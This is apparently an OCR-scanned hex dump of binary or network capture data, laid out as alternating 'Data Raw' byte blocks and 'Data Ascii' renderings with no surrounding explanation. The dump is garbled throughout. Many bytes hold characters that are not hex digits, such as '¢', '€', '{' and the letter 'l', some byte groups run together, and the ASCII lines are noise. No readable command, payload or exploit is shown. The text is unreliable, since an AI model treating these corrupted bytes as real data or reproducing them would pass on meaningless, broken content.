dc e9 5b 43 6d 20 cd 76 bc 36 fe 33 6¢ 27 3a 39 81 83 f2 2f 2f d1 2f 6f cd 37 98 d7 1a fe dc 85 el 14 dc 9a 43 c2 d8 28 al
01 66 41 1d 24 79 d9 5¢ 56 34 26 83 40 3d 80 0d 28 78 el 5a 37 9b f8 d9 8d 7b 26 17 1d 8f 7b €9 ed 9f fe df ad ff d6 Of 79
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ec 7f d2 6¢c 2c ac 14 fa 48 e6 ¢3 62 d4 97 7c 77 52

Data Ascii: Y1~n[S’UFfuk:nWR$3S_UmW]<2EN~X[LU\GNO(R-xkbRvmo"[Cm v63I':9///07C(fA$y\VA4&@=(xZ7{&{y(MC

M|S 2R]o[wl,HbJwR
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dc c8 43 27 al 61 eb da Oc 42 31 cc 33 f5 1a a9 34 ¢7 90 64 f0 59 20 44 35 df 93 36 05 d7 9b b8 f5 d4 43 98 2d ff fa f2 44
03 8d 9d 29 6f 54 26 dd db 98 2e 93 1e 05 5b d1 a6 d4 d5 bb cb 68 5a 5¢ ec a5 44 63 d9 87 81 b9 6a {7 47 Oc 56 f1 f5 ae
0Ob f9 c0 bl 63 05 d6 d4 42 c4 {7 cd Oc 08 12 a6 c8 b4 f1 bc 5d 97 6f 72 34 de b2 a7 be e5 12 bb 79 2f bd fd 4d eb 31 db
5d 54 92 da 67 65 d8 40 9b 14 15 64 Oc 9e 35 be 4f 4d bb 25 59 6e 92 21 71 bd ff f0 b2 df f5 d5 da al dO f6 10 39 e6 e3 of
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el c8f6 ee fe 7592 73 0f dd 61 83 1b ea 22 84 88 36 €5 c8 0a 41 bl le 76 8e f1 ff 13 78 c9 54 42 48 c¢2 67 01 02 95 d5
1le 2b b4 7b 7d e7 56 8 62 fb 90 c5 86 a4 9c 87 1a 2c bd 6d 89 5e da f6 77 2b e3 ad da e3 31 32 11 31 35 dd 8e a0 14 f1
87 a2 25 h9 09 ec 9f 17 36 58 fa 00 55 fe 4e b7 c6 fc ee ae 40 3d 56 50 6¢ 8e d8 {7 d8 44 ba dO dc a0 32 d9 33 2a 66 d7
a0 31 95 4a 8c e4 ab f8 4d 0a 07 42 71 40 fd f0 3c 01 6b de cb 72 f3 ea 28 e7 5a 69 2b al e4 7d 94 3d e2 5a dd 9c fb 78
dd a5 cf 91 95 3f 03 ca e5 bc d2 8f 9b 13 a4 f9 dd 23 a3 0Of ef 16 e4 24 e4 al 20 76 al be 06 c9 4d el b9 c6 94 c2 22 cf 8b
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86 10 a0 86 7e 89 c2 bf ee 47 71 09 d0 38 €9 93 Oc bb e8 3f 91 6d 79 c8 65 9d a6 42 a2 fa 0a 02 Of 34 b9 9f a2 e3 33 be
50 ff 22 bb 87 db d5 cf 7e 42 38 f5 ¢8 Oc d2 b9 41 d4 40 23 ff 2c 17 5a 13 db 6d 98 29 89 af 4b fe 73 08 03 43 54 1c 99 01
24 6b 63 f5 38 55 f8 6a 20 01 b5 18 76 ec 86 81 ¢4 1f 6¢ 7b 41 db 3f a2 ac fc bb d2 ¢5 a3 c9 6f 7a 9a b1 90 c9 6d 08 35
85 8e e4 40 fd c2 ¢5 81 12 0d 25 66 26 46 fe ea c0 f2 c2 ea 35 7d 89 ed 25 e6 77 69 9a a0 8b 2¢c 2b 60 dd 28 8f fd 7c dd
6e 97 3c 5a b5 54 72 ae 97 ¢9 46 17 30 b1 0f 19 78

Data Ascii: I4RkrSwb,J,_yxI9g@xWq&D9vj4+xzW25?Y~Gq8?myeB43P"~B8A@#,Zm)KsCT$kc8Uj vI{A?0zm5
@%f&F5}%wi, + (In<ZTrFOx

Data Raw: 4d 27 66 03 74 2f 61 c8 64 76 12 Oe 63 51 b7 ce cc c8 07 27 e6 a2 5f 80 43 ce d4 12 62 fa 9c 80 Oc 6d {7 47

d8 d0 65 2f 2a 9a 30 fb 11 ea 1f ba 9c 2a fb 44 30 2¢ 79 60 59 cb d9 01 5b 68 2e 1f d8 1f ca 36 39 2b 86 d5 44 56 a4 a3
95 e7 16 1c 52 bf 78 cf cd 95 13 45 14 13 7e 17 b2 80 a2 23 63 8a ba 07 4a 1c 3b c0 13 c8 c3 f2 74 7b 56 98 4a 49 4c fb
b1 11 18 ff 9d b9 a4 77 24 25 c5 87 eb fe b7 76 db 48 78 72 d9 ba c9 a4 ea 65 ce 01 7d bf e2 Oc f8 54 d8 0f 0d 8b 93 1a
38 9f 20 ¢6 14 4e 21 6b c7 4f ee 1d 19 e6 78 02 Of ce 74 23 fb 8b 84 ff c7 87 85 64 7b 10 2c e4 ed 37 0d 73 f5 80 51 4e 7a
d2 b5 17 4 05 €9 34 56 9a d8 b9 6a 89 7a 2c 23 fa 7e 1c da 59 36 22 00 19 8e b7 41 8f 22 09 5b 03 05 6f 68 18 3f 43 7
16 d3 0d 8d 31 0a a2 07 df cb 96 a8 9e 5a 65 db 44 94
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C1zZeD

Data Raw: 87 a6 c4 fb f8 73 15 81 82 b2 f1 1c 6d 63 9d 2c 85 2f c7 3c 88 Ob 2d b2 25 dd 56 b5 70 51 a5 ef ae 07 b9 31 of
7b 15 3b 6a 19 17 fc 37 3f a2 57 d3 da 19 a2 8a 4b 46 97 e6 2c 33 10 b7 07 4e f0 c1 55 3b 2c a8 {7 04 €9 96 4e 03 60 1c
9e 62 cb b9 eb a7 a9 84 e0 7a 77 9a c3 a4 37 b0 Of 79 7e 20 71 4c el d7 73 ee ee d1 31 53 ec c2 20 47 c0 c6 02 e9 1a
51 b7 e0 ed 38 d6 8d d6 a4 32 29 1d 30 94 9f 68 90 ad 85 1d 25 62 2f 9c 5a 97 05 87 cl 2a c2 82 a6 8b 70 ff 4e 68 40 b2
61 3e 8a €3 b3 9c cd f3 70 f6 8d Oc cd 69 5f d7 6¢ f4 a7 70 8e fa b8 57 Ob d7 0d 63 61 2¢ 4d 56 36 5¢ 6f c2 63 61 66 ce ac
46 5d d9 7f c2 1f ef 59 6d 6a 97 00 79 14 88 54 69 48 7e b5 cc 04 35 5 31 fc 4b f6 3a d3 55 7b bl c8 32 el dd 84 c2 86
5e 6¢ 8c 9f 5f d5 d6 e5 7f e4 fe fd 70 30 68 05 57 41
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Data Raw: 2b be ¢2 83 02 12 ed Oa ec b2 66 d5 c8 e6 5¢c 42 72 71 2a 57 al eb d5 9b 03 e6 b2 41 76 80 6d 08 7f cb f4 f8
6 3b €8 16 9c 65 dc b8 30 a3 ed 62 6b 09 8f 1c 67 75 47 2f 8b d1 ec 0d f4 07 ab b2 b9 b7 e5 54 7a 6e bl 26 78 2e bf 69
36 4a 04 6¢ bb ab 33 f0 23 68 fe 7d 7d b5 6f bb bf 1b b8 48 78 al 73 3f d4 20 €9 3c 5d 63 4b Oc d8 6¢ 80 1f c1 51 6b d7
09 d7 92 a0 d6 1a 31 fb 1f 52 b3 2b b7 1f 3e 06 ef b7 5 2e ea 50 87 Oc 2c c¢1 61 Ob ad 8f db c5 9b 12 89 95 fc fc 65 ad f7
63 c0 b4 81 2f 9d e3 76 2d 01 5e a6 c2 ef dc 60 56 08 Oe 5f 13 32 53 Oc 62 cf cc 60 60 32 el 84 e3 b5 18 33 5d fd 4f 7d
6e 09 63 47 67 22 4e 34 96 a5 9d bf 96 a4 60 28 23 8e 63 bf 3e 24 e5 ea 8c 62 71 31 de 44 Oc a9 28 86 33 f3 6b 7c d2 2e
18 f0 ff aa 25 54 58 ¢4 65 72 24 95 b1 d9 7b a7 a8 16
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Data Raw: 5d 97 d1 15 04 c3 6f 4a 00 6a 72 10 1d 4b 76 ce 84 7d al 73 f9 48 7c 6a 65 ae b3 be b5 4e 13 ad e3 6e c5 b6
7779 d6 8c 94 f3 24 9a Oa dd 4 dd 0d 23 14 7a 1f fa 22 53 d1 2d 31 aa 72 77 76 2a le 3c c4 f8 9d 2e d8 5a 6¢ ad 86 6d
4e 74 ed 7b fc 3f 82 €5 32 79 63 2a 38 le 87 f1 64 a2 23 91 38 66 73 be 28 98 3c c3 Ob f4 33 71 24 al b1 f8 3d 91 02 9f
21 7a42 b0 4f e7 4d 04 85 b6 c7 ea f0 30 69 fc 2d 7c b5 6b be bf 1a a5 49 83 al 64 3e d6 e8 e8 5 95 67 4b 0d f5 6f 7b 1f
d8 50 69 06 Of 1e b1 b7 d6 1b 2c f9 1d 53 ab 3a b5 ec 3f cf 6¢ ad f5 2f f7 53 81 08 Oe c0 63 c2 ac 8f 82 da 9b 17 94 9d f2
8 4d ac f5 5b c0 b4 16 3b 9d e6 6b 22 Oe 5f 89 c3 ed d9 67 9f 8a 11 5f 15 1f 40 19 63 f5 cd 62 43 30 28 e3 ec b5 le le
4d e0 4c 46 7f 09 ab 46 67 8¢ 41 fd 91 b8 8e 91 95
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Data Raw: el 56 f8 5d f1 d8 f6 b9 5¢ 6a c9 d4 e6 31 a3 15 80 09 7b eb 9b 84 d4 f0 c2 93 ¢3 3d fb 80 10 84 22 b6 40 b7 bl
4d 5c 8 64 1e 31 Oc 67 18 7b 6b 1a 75 f3 82 bf b3 d7 9c 93 dc d3 c1 54 2 e4 1a fd 40 69 c1 bf 6a 29 4c c8 4b cf 3c 52 09
04 bb 1b 10 3b €5 05 90 ac d9 ca 6e 16 19 43 bc 91 25 1c cd 91 94 ef d7 0d 89 2f 7d ee ee 4d 16 9e d3 3f 5f 49 23 ca 00
85 64 a3 0b 1c 8a d0 af ee fb 87 7 53 19 49 d5 98 a8 4b ed a6 fd c5 a5 ea 28 2c 1e 82 5a af 01 fe 9e bc ¢8 7¢ bb e8 57
05 ca 0a b9 92 b4 51 20 3c 50 25 f0 08 b6 fb b5 43 05 52 e5 73 fe 76 a7 ef 12 22 8b 38 a3 c1 48 b1 6b 1le fb 07 7 bd 7e
ab ad 05 17 75 f5 49 a0 b0 3f ¢8 ab 91 2b 5¢ 56 5d 22 15 Oc f9 de 26 19 2f 08 ec 55 a6 4d 6¢ 57 25 cd 5¢ 11 3d d2 7f 69
a4 74 a5 2f b5 45 81 cd 26 9a a5 37 65 c5 23 2d 3d
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Data Raw: ea 69 63 7c 33 cf 44 fb af 27 84 1f f3 8a 7d cb 22 2b f0 2e ac 25 5f 09 44 b1 73 01 97 8d d9 b7 a6 ac 1a 96 c3
a3 a2 a4 c8 c4 f7 2a 0c 83 8e 72 e2 45 74 de 93 7b a8 b5 dc 51 98 dc 05 eb 3c bl 7e a0 6a 21 87 f9 a2 aa a6 89 bb 15 3d
de 71 40 Oe f2 35 b9 bd ef f7 d8 15 1e 8c df 62 95 ea €9 17 9c 94 05 42 56 e4 d9 18 36 aa ef 25 c0 85 54 0f 9c 3f 26 46 c2
bb ef bl 5e a0 e9 78 39 8e a0 bd 3e b2 88 6d ce 22 6b 40 1f f2 8 c8 e7 d3 3b 7e a9 ¢3 29 45 70 eb b2 eb 13 53 cd fd 7f
3d df 8f 05 af 57 2a 00 32 63 94 ¢5 b3 a4 87 66 06 81 2c 95 58 35 28 52 ¢3 23 c0 ed b7 8¢ 61 f6 4¢c 8b 4c al 7b 37 88 d6
ab 9b db fa 72 6f a4 31 d7 74 5d 5 79 ca ad 79 8c f0 ab fb 23 de 0f b4 66 05 5e 5f 34 d9 46 eb 70 30 4f b7 ac bf 5b 02 73
2d 3e ec 59 aa 41 90 Ob eb Oc 8a 58 87 56 04 9f
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Data Raw: 43 08 48 70 10 1d 56 f6 13 15 a9 68 70 e7 41 74 e8 62 ae b3 93 37 93 82 7b 2a 6d e0 bf 7f 20 7a ee 94 de 06
7b 1c 23 3d de 39 2a 1c ed d3 98 22 7e f3 c8 27 54 a3 73 42 23 16 bf 1a 9a 9d 03 fa b3 7a 53 4f 6¢ 74 7d e5 d6 0d 94 83
8 12 80 75 d4 e9 1a bc 8 6¢ 6b 2e f2 38 7b 73 47 29 9a f4 c0 68 fd 3b a0 ee c5 b1 e5 3d 6a 04 93 €9 79 51 b0 47 14 00
6185 ab ¢7 11 b4 21 30 ec 3e 7c bd 6f bb bf 1a b8 4a 78 a7 6b 2e f5 a2 ea fd 5¢ 66 4b 0d d8 6e 80 59 c2 9f 61 97 06 16
93 b5 d6 1b 31 fa 1f 14 bl ff bd 72 36 c7 ee aa 5 2f ea 50 87 4f 2e 12 6b 67 a5 87 db d8 9b 17 89 9e fc ff 7c bc d6 10 c2
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11 a6 65 2b 3d 6f 06 Of 43 b8 96 2a 9e db 87 96 24 d9 0Oa 90 3b ff €9 el 4f 00 1le 8a 2b 70 82 34 ¢5 ¢6 92 7d al 1d 1c 5b

56 b6 fa cd 4e e2 42 6e 56 d3 88 61 4a f4 24 fb c3 54 25 30 35 30 94 93 ae 79 f7 bd 3c 19 6¢ €3 28 75 2e 36 1c c1 9b 95

5124 bb 28 3aflcl 95 c4c251 2442 2c 72 f1f4al ff 5a ed 93 75 fa 5f 81 b0 70 Oe ad 07 36 ad 45 72 fa d2 eb 6b ee 59
a6 b6 57 4e b2 85 5d 15 9e 9e 05 24 5a 79 0f 20 3c bf 5e 7a 86 6e 69 1e Oe 87 c9 5b 34 2d 84 7f 4b b0 71 7c 78 5¢ c8 a4
e8 36 cc 25 6e e7 e0 25 5b 74 05 1d 66 7e 45 d1 fa

Data Ascii: \07OpM8ChKSK\)%*$t#sK"-v8'?>h\?Ae+=0C*$;0+p4}[VNBnVal$T%050y<I(u.6Q$(:Q$B,rZu_p6ErkYWN]$Zy

<Azni[4-Kq|x\6%n%[t~E

Data Raw: 2d a8 28 86 2e 5 43 b5 ce 0a 19 b2 ff de f2 53 58 c4 78 73 Oe 5c 9d ca 68 e5 a8 32 53 c3 6a a3 a0 c2 c5 3e
€2 1584 ¢c0 73 32 58 75 65 9d 7a ae 7c Oc 3c ac de 47 22 49 06 56 al 6a f0 87 fd 7f ad b5 56 f8 7d 31 09 71 89 Of ee 31
bf 6¢ 20 ee d3 5b 18 38 2c 64 9d e6 ef 11 4d 84 2¢ 5d 50 a6 10 c9 fc a8 e9 25 09 82 5¢ ca 9b 0a f9 05 cd b9 31 b1 8f a6
€6 7b 3f 47 52 {8 27 f2 8e cd c7 24 63 4c 19 3 fc 06 €9 82 3c 3¢ 60 e2 ff 47 66 eb 63 ec 1c 98 da 94 9a 7e dO 4d ca af 53
2d 0f 31 75 5d e6 cc bd c6 70 46 d9 2b 9a 5a 23 2e Ob 08 2d 58 ed f4 1b dc db 4e 9d 4c 22 7f 20 9b el b8 fd 8d 5 7c a5
a4 9c d5 7b 49 e3 b0 65 77 60 ca e6 3b f1 21 d1 0d b2 70 cc 96 51 d6 c9 02 22 81 b9 66 a6 ac 76 4c 06 ae 38 c5 f9 1d 6b
de al Ob e9 Oc 8e 52 8c 47 24 8c ca 40 1c a9 b0 f8 59

Data Ascii: -(.CSXxs\h2Sj>s2Xuez|<G"IVjV}1qll [8,dM,]P%\1{?GR'$cL<< Gfc~MS-1u]pF+Z#.-XNL" [{lew’;!pQ
"fvLBKRG$@Y

Data Raw: 76 13 84 9a al a6 fa 5f 67 af 62 8a 9b 92 b7 93 13 48 €3 9a d7 al 6¢ 67 d4 24 bc df 26 7b Oa 38 f4 fd Of 34 Of
aa 16 d6 Ob 7f d3 c8 31 4f 72 8¢ 63 3d 05 8 c6 48 b4 02 da b3 6c 48 86 3b 4c 63 f6 91 fe c2 a9 f9 32 80 63 cf 38 2a 92 e6
7f2c 2229 12 7a 73 47 28 89 3d 41 08 €3 28 €7 22 9d 9a e4 3d 6a 02 80 20 18 57 a7 54 53 4c c4 ae aa c7 11 f0 30 68
54 2e 6b ae 28 bb 07 34 b9 49 78 al 60 3f 1a fc ff ee 1b 66 5b 3f d9 6d 80 1f d2 51 8e 05 18 05 d4 b5 42 29 30 f9 1f 52
al 3b 13 fb 28 d4 a9 aa 55 1a eb 53 87 09 3e cl 6e c6 bb 94 9¢c d8 7f 20 88 9d fc f9 77 ad 28 43 d7 af c6 32 e9 df 77 22
01 5e b4 c2 a5 dc 70 84 4e 13 53 2e 33 42 Oc 62 dd cc c2 5e 27 33 c2 fe 81 23 32 4f fd 4d 6e 7e 77 ae 51 7c 65 53 c0 ae
a4 8e bf 94 b7 60 a8 ef 9f 78 f8 23 04 8¢ eb 9a 62 73

Data Ascii: v_gbHIg$&{8410rc=HIH;Lc2c8*,")zsG(=A("=] WTSLOhT k(41X ?f[?mQB)OR;(US>n w(C2w" pNS.3Bb"'
3#20Mn~wQ|eS x#bs

Data Raw: a3 d7 86 b8 73 c2 99 Oa d5 68 61 94 c3 ec fd 5b 1e 4b 23 f2 66 38 bf af f1 28 62 11 33 1b 7 c6 5b fb 18 64 73
ff 9c cb de ca 13 Ob cd a8 7c b7 64 ae fc 14 d2 d6 bf a3 28 5b c4 94 ce 16 74 41 06 bl af cO 3d ea 07 97 ac e3 ca 73 17
48 43 cc 22 2b 1e db 91 a5 ed 11 Oe 94 07 b8 €9 99 fa 01 9e 8a 3d 41 4b fc cb da ac 3a al a9 3e 5b d6 b6 ec eb 9f f2 75
72 40 94 88 d9 ff f5 a4 fb d5 65 ec f8 2f 1d aa d4 ae 3d 41 bc bc 19 7a d0 el bd 04 00 09 86 9b cd e8 25 3b 28 2c d0 08
5d f8 a7 40 63 42 d0 cb f0 74 al €9 7b 24 5b 3b 76 69 c6 b0 cc b5 ac 87 36 bb 64 bb 32 84 6d 5¢c a9 59 52 0d 56 ce b2 93
7c dc 4e 5a 91 2d 1d 79 7f 9c 3d 3f 5e 6¢c a7 a7 al 7d b3 8d 8e 5b d8 e5 85 ff 4b a6 50 b5 a8 33 dd af af 36 44 {5 6f 67 e0
33 7d bd cd 6d 19 5b 02 d1 4a d7 c7 6f 4a 00 4e 70

Data Ascii: sha[K#f8(b3[ds|d([tA=sHC"+=AK:>[ur@e/=Az%;(,]@cBH{$[;vied2m\YRV|NZ-y=2"}[KP36Dog3}m[JoINp

Data Raw: 7c a6 0Of 2f f2 af aa f3 ab 59 c4 78 72 98 95 b1 dc 4b a5 f8 16 69 3b 6b a3 a0 c4 53 7 75 2b b2 80 23 e2 86 8c
64 9d 7a a8 ea dd 6d 8d e8 07 72 3d f5 af a0 6a fO 81 6b ae 7b 8c 75 b8 2d 15 9d 88 88 0f ee 37 29 bd a7 f3 e5 1b 48 8¢
53 9d 9c e6 ef 17 ¢3 95 7 64 65 e6 40 19 52 51 e8 25 09 84 ca 03 23 3a da 45 9d b9 7d 48 8e a6 e6 7a a9 8e 77 97 04
b2 de 6d b0 dd 62 4c 19 f2 6a cf 19 d4 1f 7c 30 c2 ec be 67 eb 63 ed 8a 51 5c d6 b9 3e 80 8d f6 56 52 2d 0f 30 e3 94 ff
b7 9e 87 20 06 03 d1 9b 5a 23 28 9d c1 1f ee ce b5 4b 68 e2 b4 9c 4c 22 79 ae 8a ff ad c8 cb a5 70 4f 5e 9d d5 7b 5f 75
7912 91 43 8c b6 ab 7d db d0 0d b2 66 5a 5f 36 30 ea 44 72 71 0b 9c a7 ac 76 5a 90 7f a3 11 da 5b 3b 6a Ob f1 €8 Oc 8e
54 02 56 95 9e ff 06 4c ed f4 02 58 f6 dO fa 29 5c 26 ce

Data Ascii: |/YxrKi;kSu+#dzmr=jk{u-7)HSde @ RQ%#:E}HzwmbLj|0gcQ\>VR-0 Z#(KhL"ypO™{_uyCHZ_60DrqvZ[;jTVLX)\&
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Data

Data Raw: 4b 49 ea 32 ae 63 91 b5 93 13 5b 75 6¢ 62 al 42 22 84 8c 66 dc 24 7b Oa 2b 62 df 1d 27 21 ef 46 fa 31 7d d1
c8 31 5c e4 75 96 32 2b bd 96 f8 a9 00 d8 b3 6¢ 5b 10 6d 03 70 d8 d4 ae 6 d6 fb 30 80 63 dc ae 1c 23 ed 51 69 72 91 4e
787147 28 9aab c1 8b f0 06 a2 72 al 26 e6 3f 6a 02 93 b6 78 c0 ad 7a 16 1c 04 3d a8 c5 11 f0 23 fe fe 87 78 80 6d eb
bf c3 bb 4b 78 al 73 a9 d4 5f f5 c0 5e 36 4b f6 db 6f 80 1f c1 c¢7 6b d2 Ob 2b 91 e5 d6 07 35 fb 1f 52 b2 ad b7 Oc 22 fa ec
fa 512 ee 51 87 09 2d 57 61 3c a8 ba d9 88 9b 48 8d 9f fc f9 64 3b f7 30 el 81 83 62 9d 66 72 20 01 5e a7 54 ef {7 62 aa
0b 43 5f b7 36 40 Oc 62 ce 5a 60 da 16 1d 87 ae b5 da 37 4d fd 4d 7d e8 09 f3 43 52 20 03 34 75 al 8c bf 94 a4 f6 28 20
a2 56 bd 73 24 cb ef 98 62 73 31 48 44 7c ad 1d 84

Data Ascii: KI2c[ulbB"f${+b'!F1}1\u2+I[mp0c#QirNxqG(r&?jxz=#xmKxs_"6Kok+5R"Q-Wa<Hd;0bfr "TbC_6@bZ " 7MM}CR
4u( Vs$bs1HD|

Data Raw: 4f 85 38 ce 9a c1 ec fd 48 88 82 fe 47 74 7d ef 4b 78 26 60 11 33 Oa f1 d1 81 6e 2d 21 23 4b f8 c4 dc ca 13 0d
43 b9 7a a7 51 eb ac 38 08 d8 bd a3 28 48 52 5d 31 el 66 04 56 ad 92 ce 3f ea 07 86 3a 2a 90 62 21 0d 13 b8 3c 25 1c
db 91 b6 7b d8 34 8a 1a fd b9 el 83 0f 9c 8a 3d 50 dd 35 4f ca bl 7f f1 1d f1 54 d4 b6 ec ed 11 e3 31 74 75 d1 d8 61 44
e4 a6 fb d5 74 7a 31 81 3c b7 91 fe 79 c7 ad be 19 7a c3 77 74 d6 2c 3e c3 cb 95 00 34 39 28 2c d1 9e 94 13 ce 7f 26 12
2c0lel 76 al e9 7ab2 92 93 e2 74 83 e0 70 9b bd 85 36 bb 65 2d fb 91 e0 41 ec 09 a6 00 47 cc b2 93 7d 4a 9f b8 1f 30
58 29 0f f7 2c 3d 5e 6¢ a6 31 68 33 05 90 cb Ob 34 d5 94 fd 4b a6 51 23 79 92 db b3 ea 66 cc 3c 7f 65 €0 33 7b 2b 04 ef
6d 68 47 81 fa 3e d7 6d 4a 00 48 e6 10 98 4b 43 11 d4 89

Data Ascii: O8HGt}Kx& 3n-1#KCzQ8(HR]1fV?:*b!<%{4=P50T ltuaDtz1<yzwt,>49(,&,vztp6e-AG}J0X),="1h34KQ#y
f<e3{+mhG>mJHKC

Data Raw: 21 63 43 c6 78 72 0e 03 9¢c 00 78 92 aa 46 87 91 71 al a0 c4 c5 61 €3 0d 85 b7 71 b2 8c 01 7e 9f 7a a8 7c 4b
3a 84 da 30 20 6d d3 c3 ba 68 f0 81 fd 38 ab 8c 42 8f 7f 45 df c6 92 0d ee 37 bf 2b 26 7c d7 2c 1a dc Oe bd 86 e4 ef 17 55
03 0d 2f 52 d1 12 49 2a 53 f2 27 09 84 5¢ 95 9a a0 €6 72 cf €9 e9 ac 93 a4 e6 7a 3f 18 53 37 33 85 8¢ 3d 1f 1b 7f 4e 19
f2 fc 59 e8 bf 38 4b 62 92 26 27 7a €9 63 ed 1c c7 db 48 8e 09 d2 dd 13 2d 4f 2f 0f 30 75 02 e7 07 b9 b0 72 56 03 88 86
58 23 28 0b 57 2c 1d f9 82 19 38 f9 8b 81 4e 22 79 38 1c c0 55 ee fc f7 20 79 43 80 d7 7b 5f e3 ef 64 95 75 bb e4 fb 2c 28
cc 0f b2 66 cc ¢9 50 37 ca 73 20 21 67 4c bb ae 76 5a 06 e9 3e 61 ec 6¢ 69 3a 83 47 f4 Oe 8e 54 94 c0 05 al df 31 1e bd
50 96 44 4 dO fa bf ca a3 40 af da 35 f3 ¢4 09 6¢

Data Ascii: lcCxrxFgaq~z|K:0 mh8BE7+&|,U/RI*S'\rz?S73=NY8Kb&'zcH-O/0urVX#(W,8N"y8U yC{_du,(fP7s !gLv
Z>ali:GT1IPD@5I

Data Raw: 90 91 13 5b e3 fa c4 60 72 15 d6 dc 94 4d 01 79 Oa 2b f4 49 Oc 62 3f d8 14 aa 22 cb f4 ca 31 5¢ 72 e3 77 24
18 8a c4 a8 9d d5 fd b1 6¢ 5b 86 fb 4f 67 c1 e3 fc a6 83 00 15 82 63 dc 38 8a 87 c4 62 5e 20 c1 38 62 5b 45 28 9a 3d 57
0b 66 1f 95 20 f1 b1 de 15 68 02 93 20 ee 42 ec 49 21 4e 54 85 f6 ef 13 f0 23 68 68 2d ef 9b 5a b9 ef 1a ¢7 61 7a al 73 3f
42 e9 6¢f4 69 64 1b 0d 79 45 82 1f c1 51 fd 06 76 18 a6 b7 86 1b f2 d1 1d 52 b2 3b 21 ec eb ce db a8 a5 2f Of 7b 85 09
2d c1f7 c2 7089 ee da cb 17 8e b4 fe f9 64 ad 61 5b c3 b6 b4 30 cd e6 5f Ob 03 5e a7 c2 79 d8 68 98 3c 11 0f 15 78 6b
Oe 62 ce cc f6 42 1d 2a b0 fc e5 1e 58 66 ff 4d 7d 7e 9f aa cb 60 17 51 64 90 29 a7 bd 94 a4 60 be f2 ec 61 8a 21 74 cd
47 b3 60 73 31 de d2 ff 0a 21 b3 2c a3 43 b2 e6 2c 1a

Data Ascii: [ rMy+Ib?"1\rw$I[Ogc8b” 8b[E(=Wf h BIINT#hh-Zazs?BlidyEQVR;!/{-pda[0_"yh<xkbB*XfM}~"Qd) a!tGs1!,C,

Data Raw: 7c 00 c5 d6 e8 5d e2 27 6e 67 e0 a5 7b 92 2f 59 6b 0d 45 5c d4 06 c6 6f 4a 96 48 8c 15 28 54 26 13 2a a7 a3
7118 48 eae8 628286 91 e7 93 dc 75 el 6¢ c4 b6 el 20 f7 8a al dc 76 7b fa 05 f6 df Oc 23 82 ed 28 d6 17 7c 83 c8 20
7370 75 77 2a 88 bf 8c fe a8 01 8a b3 5f 74 84 6d 4f 74 7b d6 7f d8 b6 fa 62 80 36 f3 3a 1c 87 f1 f2 6b 8e 90 0d 79 23 47
5f b5 3f c1 Ob f4 a5 a0 b3 a7 84 e7 6d 6a 9a bc 22 78 42 b0 d9 14 a0 05 b0 a9 97 11 4a Oc 6a fe 2d 7c 23 6f 4f b9 2f ba
19 78 7d 5¢ 3d d4 e9 e8 63 5¢ 7d 49 38 da 3d 80 e2 ee 53 6b 06 0f 88 93 92 d1 2e 33 a9 1f 4d 82 39 b7 ec 3f 59 ee f8 {7
1lae80387 49 1d c3 61 c2 ac 19 db 6f 93 22 8b cd fc 98 54 af {7 5b c0 22 81 4e 9f d3 74 72 01 dd 97 c0 ef d8 67 09 09
90 55 20 30 12 Oc c6 fe ce 60 42 30 be 85 58 b7 2b 31

Data Ascii: []'ng{/YKE\oJH(T&*qHbul v{#(| spuw*_tmOt{b6:ky#G_?mj"xBJj-|#00/x}\=c\}I8=Sk.3M9?Ylao"T['NtrgU 0'BOX+1

Data Raw: ed 09 6b fb b9 09 e9 Oc 8e c2 94 b6 01 aa c8 54 1c 5f 6a fa 59 f6 dO 6c bf b0 be fd ae bf 37 77 fe 84 71 72 ed
0d 4d c4 3d f9 97 93 ec 08 72 1c 82 22 45 d7 7f c8 6a 69 2b 32 11 25 31 65 d1 7a 7d 8e 23 48 4e 8b c9 8e ca 2b 36 d7 b9
5d a4 f2 e9 58 1e 55 d5 ef a3 71 73 ¢6 5d cf f5 ¢5 06 63 a8 2e ¢3 6d ea 7c bd ae 2a cb 61 82 0f 9d 92 a3 28 4e db 0d 8d
ef d8 Of 9f b9 ff 66 e4 7a 02 ce 8a 83 6b 49 35 ca c9 12 7d a9 36 29 59 86 b6 Oc d6 85 €3 54 61 d6 d3 4f 64 7f {6 f4 fb d4
48 ee 31 2e 3f 14 93 9¢ 52 c2 bf ec 19 59 ff 3 74 05 39 9d c1 64 90 64 26 6b 28 69 ed 0a 94 f9 cd dc 24 41 00 47 {3 24
al 8e 46 26 92 3a f5 d7 81 96 76 3b af d7 36 32 59 b9 fb 85 e4 e2 ee 18 8a 83 55 9e b2 38 41 de 9f 5¢ 07 93 5a 34 09 15
3e 6f5e al 9a a5 68 7c 01 33 c9 df 1a 18 86 af 4b

Data Ascii: KT_jYI7wqrM=r"Eji+2%1ez}#HN+6]XUgs]c.m[*a(NfzkI5}6)Y TaOdH1.?RYt9dd&k(SAGSF&:v;62Y UBA\Z4
>0"h|3K

Data Raw: 53 ff d6 a7 8e bf 94 32 60 f7 e7 bd 61 ef 23 c9 8b 8 9a 62 73 a7 de b2 fc 9d 2a d6 2e fd 04 7e cf 2e 1a 66 ff 1f
36 66 5a 94 78 42 49 97 9c d9 7e 31 a8 36 83 f6 68 f3 a0 95 82 f5 €3 0d 87 14 73 12 94 40 67 cd 7a da 3b df 3a 88 dd 93
22 66 d7 63 a3 3a fO 15 ba ac ab a6 40 2c 7d a6 c3 44 8b 5f ee 81 f8 bf 26 f6 d0 8f 18 03 0a 51 9f b6 ef cO 12 97 0d 4e 50
72108837 9d eb 75 09 7c 1b 01 9a 3f ef d1 cd 00 ed 84 8d f6 €6 60 77 8c 53 bc 31 26 8e a8 02 11 61 1c 19 ce b4 cd e8
d1 2a e8 60 21 22 72 64 bb 63 b0 54 53 db fd 8c aa d0 62 0e 9a 51 7d Of 4e 3d 96 e7 b1 ab 13 70 12 06 1e 98 Oa 23 88
43 c32cc2fb211b 12 d8 7b 9f 1c 22 bb 70 88 c0 ab fd 5f f5 4e 7c 91 9e 85 7b bb ab 7b 64 bf 76 18 e6 Oc 0a 14 d3 5d
b2 60 85 5d 50 36 df d0 22 19 62 53 a4 fc 76 7d 4f

Data Ascii: S2"a#bs*.~.f6fZxBI~16hs@gz;:"fc:@,}D_&QNPr7u|? wS1&a* I"rdcTShQ}N=p#C,{"p_N|{{dVv] IP6"bSV}O

Data Raw: 77 6¢ 67 €0 33 ed bd c5 6e 5c 5f 15 d1 e5 57 c4 6f 4a 00 de 70 d2 Of 63 74 43 84 c9 f2 73 f8 48 7c 7e 62 45 bl
